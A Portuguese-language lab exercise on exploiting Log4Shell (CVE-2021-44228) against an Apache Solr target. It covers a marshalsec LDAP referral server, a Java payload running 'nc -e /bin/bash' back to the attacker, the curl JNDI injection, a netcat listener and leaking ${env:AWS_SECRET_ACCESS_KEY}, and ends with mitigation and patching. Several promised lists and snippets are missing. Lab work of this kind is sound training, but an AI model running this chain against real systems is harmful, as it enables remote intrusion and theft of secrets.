
Exercício prático de laboratório para explorar o Log4Shell (CVE-2021-44228) com injeção JNDI, servidores de referência LDAP e payloads de shell reverso. Inclui detecção, técnicas de bypass e orientação pós-exploração.
A vulnerabilidade Log4j, também conhecida como "Log4Shell" ou "CVE-2021-44228", é uma falha crítica de segurança na biblioteca Apache Log4j. Log4j é um framework de logging amplamente utilizado baseado em Java que permite aos desenvolvedores registrar mensagens de aplicações em vários destinos, como arquivos, bancos de dados e saídas de console.
A vulnerabilidade foi descoberta em dezembro de 2021 e ganhou atenção significativa devido à sua gravidade e potencial de exploração. Ela afeta as versões 2.x do Log4j e, em alguns casos, até versões anteriores. A vulnerabilidade Log4j é uma vulnerabilidade de Execução Remota de Código (RCE), o que significa que um atacante pode executar código arbitrário em um sistema alvo explorando a falha. A vulnerabilidade é causada por uma falha de design na biblioteca Log4j relacionada ao processamento de mensagens de log que contêm dados especialmente criados.
A exploração da vulnerabilidade depende da capacidade de injetar código malicioso na mensagem de log. Isso pode ser alcançado por meio de vários vetores, como campos de entrada controlados pelo usuário, cabeçalhos de requisição HTTP ou outros dados fornecidos pelo usuário que são passados para a instrução de log.
Quando uma aplicação vulnerável processa uma mensagem de log contendo os dados especialmente criados, o Log4j interpreta os dados como uma consulta de Java Naming and Directory Interface (JNDI). Ao explorar esse comportamento, um atacante pode criar um payload que dispara uma consulta JNDI para um servidor malicioso controlado pelo atacante. Esse servidor pode então responder com um payload que é executado no sistema alvo, permitindo que o atacante alcance execução remota de código.
O impacto da vulnerabilidade Log4j é severo porque o Log4j é amplamente utilizado em várias aplicações baseadas em Java, incluindo servidores web, aplicações e serviços em nuvem. A vulnerabilidade permite que atacantes obtenham acesso não autorizado a sistemas afetados, potencialmente levando a violações de dados, comprometimento do sistema e exploração adicional do ambiente comprometido.
Hoje, a versão 2.16.0 do log4j está disponível e corrige essa vulnerabilidade (JNDI está totalmente desabilitado, o suporte para Message Lookups foi removido e a nova vulnerabilidade de DoS CVE-2021-45046 não está presente). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)
No entanto, o perigo absoluto dessa vulnerabilidade se deve à ubiquidade do pacote de logging. Milhões de aplicações, bem como provedores de software, usam esse pacote como dependência em seu próprio código. Embora você possa corrigir seu próprio código base que usa log4j, outros fornecedores e fabricantes ainda precisarão enviar suas próprias atualizações de segurança downstream. Muitos pesquisadores de segurança compararam essa vulnerabilidade à do Shellshock pela natureza de sua enorme superfície de ataque. Veremos essa vulnerabilidade por anos.
Para uma lista crescente de softwares e serviços vulneráveis ao CVE-2021-44228, mantida pela comunidade, confira este repositório GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)
Embora existam vários outros artigos, blogs, recursos e materiais de aprendizado sobre o CVE-2021-44228, eu (o autor deste exercício) sou particularmente parcial a estes:
O pacote log4j adiciona lógica extra aos logs ao "parsear" as entradas, em última análise para enriquecer os dados — mas também pode tomar ações e até avaliar código com base nos dados da entrada. Esta é a essência do CVE-2021-44228. Outras sintaxes podem de fato ser executadas exatamente como são inseridas nos arquivos de log. Alguns exemplos dessa sintaxe são:
Você já deve conhecer o payload geral para abusar dessa vulnerabilidade log4j. O formato da sintaxe usual que tira proveito disso é assim:
Essa sintaxe indica que o log4j invocará funcionalidades do "JNDI", ou "Java Naming and Directory Interface". Em última análise, isso pode ser usado para acessar recursos externos, ou "referências", que é o que é utilizado como arma neste ataque.
Observe o esquema "ldap://". Isso indica que o alvo entrará em contato com um endpoint (um local controlado pelo atacante, no caso deste ataque) via protocolo LDAP. Para fins de brevidade, não precisaremos cobrir todos os detalhes do LDAP aqui, mas saiba que isso é algo com que precisaremos trabalhar ao refinar nosso ataque. Por enquanto, saiba que o alvo de fato fará uma conexão com um local externo. Isso é indicado pelo placeholder ATTACKERCONTROLLEDHOST na sintaxe acima. Você, atuando como o atacante neste cenário, pode hospedar um simples listener para visualizar essa conexão.
A próxima pergunta é: onde poderíamos inserir essa sintaxe? Em qualquer lugar onde os dados sejam registrados pela aplicação.
Este é o cerne dessa vulnerabilidade. Infelizmente, é muito difícil determinar onde está a superfície de ataque para diferentes aplicações e, portanto, quais aplicações são realmente vulneráveis. Simplesmente ver a presença de arquivos log4j não revela o número exato da versão, nem mesmo onde ou como a aplicação pode usar o pacote.
Outros locais onde você pode fornecer essa sintaxe JNDI:
Se você quiser mais informações sobre esse vetor de ataque JNDI, reveja esta apresentação da Black Hat USA de 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
POC
Exploitation Neste ponto, você verificou que o alvo é realmente vulnerável ao ver essa conexão capturada em seu listener netcat. No entanto, ele fez uma requisição LDAP... então tudo que seu listener netcat pode ter visto foram caracteres não imprimíveis (bytes estranhos). Agora podemos construir sobre essa base para responder com um manipulador LDAP real.
Utilizaremos um utilitário público de código aberto para preparar um "LDAP Referral Server". Isso será usado para essencialmente redirecionar a requisição inicial da vítima para outro local, onde você pode hospedar um payload secundário que, em última análise, executará código no alvo. Isso se divide assim:
Isso significa que precisaremos de um servidor HTTP, que podemos simplesmente hospedar com qualquer uma das seguintes opções (servindo na porta 8000):
No entanto, a primeira coisa a fazer é obter o LDAP Referral Server. Usaremos o utilitário marshalsec oferecido em https://github.com/mbechler/marshalsec
Em última análise, isso precisa executar Java. Analisando o README deste utilitário, ele sugere usar Java 8. (Você pode ou não ter sucesso usando uma versão diferente, mas para "seguir as regras", usaremos a mesma versão de Java da máquina alvo).
Veja os passos para instalar o Java 8 localmente:
Execute os seguintes comandos para configurar seu sistema para usar esta versão Java por padrão (ajuste o caminho do sistema de arquivos de download conforme apropriado): Comandos: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # modifique a versão conforme necessário sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
Após baixar, extrair e definir as configurações apropriadas do sistema de arquivos (a sintaxe do update-alternatives) acima, você deve conseguir executar "java -version" e verificar se está realmente executando Java 1.8.0_181.
Clone (https://github.com/mbechler/marshalsec) e mude para o diretório desta nova pasta "marshalsec".
Devemos construir o marshalsec com o construtor Java maven. Se você ainda não tem o maven em seu sistema, pode instalá-lo através do gerenciador de pacotes: Comando: sudo apt install maven
Em seguida, execute o comando para construir o utilitário marshalsec: Comando: mvn clean package -DskipTests
Com o utilitário marshalsec construído, podemos iniciar um servidor de referência LDAP para direcionar conexões para nosso servidor HTTP secundário (que prepararemos daqui a pouco). Você é mais do que bem-vindo para se aprofundar no uso, parâmetros e outras configurações que podem ser definidas com esta ferramenta — mas para fins de demonstração, a sintaxe para iniciar o servidor LDAP é a seguinte: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Ajuste o endereço IP para sua máquina atacante conforme necessário. Observe que forneceremos a porta HTTP escutando em 8000.
Agora que nosso servidor LDAP está pronto e aguardando, podemos abrir uma segunda janela de terminal para preparar nosso payload final e servidor HTTP secundário.
Em última análise, a vulnerabilidade log4j executará código arbitrário que você criar na linguagem de programação Java. Se você não está familiarizado com Java, não se preocupe — usaremos sintaxe simples que simplesmente "invoca" um comando do sistema. Na verdade, recuperaremos uma conexão reverse-shell para que possamos obter controle sobre a máquina alvo! Crie e mova-se para um novo diretório onde você possa hospedar este payload. Primeiro, crie seu payload em um editor de texto de sua escolha (mousepad, nano, vim, Sublime Text, VS Code, tanto faz), com o nome específico "Exploit.java" (fornecido neste repositório). Modifique seu endereço IP de atacante e número da porta conforme apropriado.
Para este payload, você pode ver que executaremos um comando no alvo, especificamente nc -e /bin/bash para chamar de volta nossa máquina atacante, embora você seja mais do que bem-vindo a experimentar com outros payloads.
Compile seu payload com "javac Exploit.java" e verifique se foi bem-sucedido executando o comando "ls" e encontrando um novo "Exploit.class". Com seu payload criado e compilado, você pode agora hospedá-lo iniciando um servidor HTTP temporário. user@host:~/ python3 -m http.server
Seu payload está criado e compilado, está hospedado com um servidor HTTP em um terminal, seu servidor de referência LDAP está ativo e aguardando em outro terminal — em seguida, prepare um listener netcat para capturar sua reverse-shell em mais uma nova janela de terminal: user@host$ nc -lnvp 9999
Finalmente, tudo o que resta fazer é disparar o exploit e enviar nossa sintaxe JNDI! Observe as mudanças no número da porta (agora referindo-se ao nosso servidor LDAP) e o recurso que recuperamos, especificando nosso exploit (Modifique seu endereço IP de atacante conforme apropriado): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
Agora você obteve acesso inicial e comando-e-controle. Neste ponto, um ator de ameaça pode realisticamente fazer o que quiser com a vítima — seja escalonamento de privilégios, exfiltração, instalação de persistência, movimento lateral ou qualquer outra pós-exploração — potencialmente implantando mineradores de criptomoedas, trojans de acesso remoto, beacons e implantes ou até mesmo ransomware.
Persistence Agora que você obteve uma conexão reverse-shell na máquina vítima, pode continuar a tomar qualquer ação que desejar. Para entender melhor essa vulnerabilidade log4j, vamos nos conceder "melhor acesso" para explorar a máquina, analisar os logs afetados e até mesmo mitigar a vulnerabilidade!
Se você quiser "estabilizar seu shell" para facilitar a digitação de comandos, pode usar o truque usual de upgrade (assumindo que você está executando em um shell bash. Se estiver executando no zsh, precisará ter iniciado seu listener netcat dentro de um subshell bash... deve ser fácil re-explorar):
Agora você tem um shell estável, onde pode usar com segurança as teclas de seta esquerda e direita para navegar pela entrada, setas para cima e para baixo para revisar o histórico de comandos, Tab para autocompletar e Ctrl+C para parar programas em execução sem problemas!
Detection Infelizmente, encontrar aplicações vulneráveis ao CVE-2021-44228 "Log4Shell" é difícil. Detectar exploração pode ser ainda mais difícil, considerando a quantidade ilimitada de bypasses potenciais.
Dito isso, a comunidade de segurança da informação tem visto um esforço e apoio incríveis para desenvolver ferramentas, scripts e códigos para melhor conter essa ameaça. Você pode encontrar uma enorme quantidade de recursos online.
Abaixo estão trechos que podem ajudar em qualquer um desses esforços:
Como lembrete, um recurso massivo está disponível aqui:
Bypasses O payload JNDI que mostrei é a sintaxe padrão e "típica" para realizar este ataque. Se você é um testador de penetração ou um membro de equipe vermelha, essa sintaxe pode ser capturada por firewalls de aplicação web (WAFs) ou facilmente detectada. Se você é um membro de equipe azul ou respondedor de incidentes, deve caçar ativamente e detectar essa sintaxe.
Como este ataque aproveita o log4j, o payload pode, em última análise, acessar todos os truques de expansão, substituição e template que o pacote disponibiliza. Isso significa que um ator de ameaça pode usar qualquer tipo de truque para esconder, mascarar ou ofuscar o payload.
Com isso em mente, honestamente há um número ilimitado de bypasses para introduzir essa sintaxe. Embora não vamos nos aprofundar nos detalhes neste exercício, você é encorajado a experimentar com eles neste ambiente. Leia-os cuidadosamente para entender quais truques estão sendo usados para disfarçar a sintaxe original.
Há numerosos recursos online que mostram alguns exemplos desses bypasses, alguns oferecidos abaixo:
Observe o uso do protocolo rmi:// no último. Esta é também outra técnica válida que pode ser usada com o utilitário marshalsec — sinta-se à vontade para experimentar!
Além disso, dentro do motor log4j, você pode expandir variáveis de ambiente arbitrárias (como se isso já não fosse ruim o suficiente). Considere o estrago que poderia ser feito mesmo sem execução remota de código, mas com uma simples conexão LDAP e exfiltração de ${env:AWS_SECRET_ACCESS_KEY}
Para outras técnicas, você é fortemente encorajado a fazer sua própria pesquisa. Há uma quantidade significativa de informações sendo compartilhadas neste tópico do Reddit: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/
Mitigation Agora que você atuou como adversário por um tempo, por favor, tire seu chapéu de hacker e vamos mitigar a vulnerabilidade. Revise as técnicas de mitigação sugeridas no site do Apache Solr (https://solr.apache.org/security.html)
Uma opção é modificar manualmente o arquivo "solr.in.sh" com uma sintaxe específica. Vamos por esse caminho para demonstrar essa tática defensiva.
A página de Segurança do site Apache Solr explica que você pode adicionar esta sintaxe específica ao arquivo solr.in.sh:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
Modifique o arquivo solr.in.sh com um editor de texto de sua escolha. Você precisará do prefixo sudo para obter privilégios de root se ainda não for root. Role até o final do arquivo e adicione uma nova linha com a sintaxe acima. Salve e feche o arquivo.
Agora que o arquivo de configuração foi modificado, o serviço ainda precisa ser reiniciado para que a mudança tenha efeito. Comando: user@host$ sudo /etc/init.d/solr restart
Para validar que a correção ocorreu, inicie outro listener netcat como fez antes e inicie seu servidor de referência LDAP temporário e servidor HTTP (novamente em terminais separados). Você vai querer recriar a mesma configuração para re-explorar a máquina.
Você deve ver que nenhuma requisição é feita ao seu servidor LDAP temporário, consequentemente nenhuma requisição é feita ao seu servidor HTTP, e... nenhuma reverse-shell é enviada de volta ao seu listener netcat!
Patching No momento da criação deste exercício, o Apache Solr 8.11.1 ainda não havia sido lançado com uma correção formal para o CVE-2021-44228. Junto com muitos outros provedores de software, a indústria está freneticamente se esforçando para corrigir seus softwares e enviá-los downstream para os usuários finais o mais rápido possível.
Onde apropriado, certifique-se de corrigir o pacote logging-log4j para a versão 2.16.0 ou superior (conforme novas versões forem disponibilizadas). Na versão 2.16.0, JNDI está totalmente desabilitado, o suporte para Message Lookups foi removido e a nova vulnerabilidade de DoS CVE-2021-45046 não está presente. Baixe esta versão aqui: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0Se você é responsável por identificar serviços vulneráveis que usam log4j, existe uma lista de alguns serviços/produtos majoritariamente afetados aqui (https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/).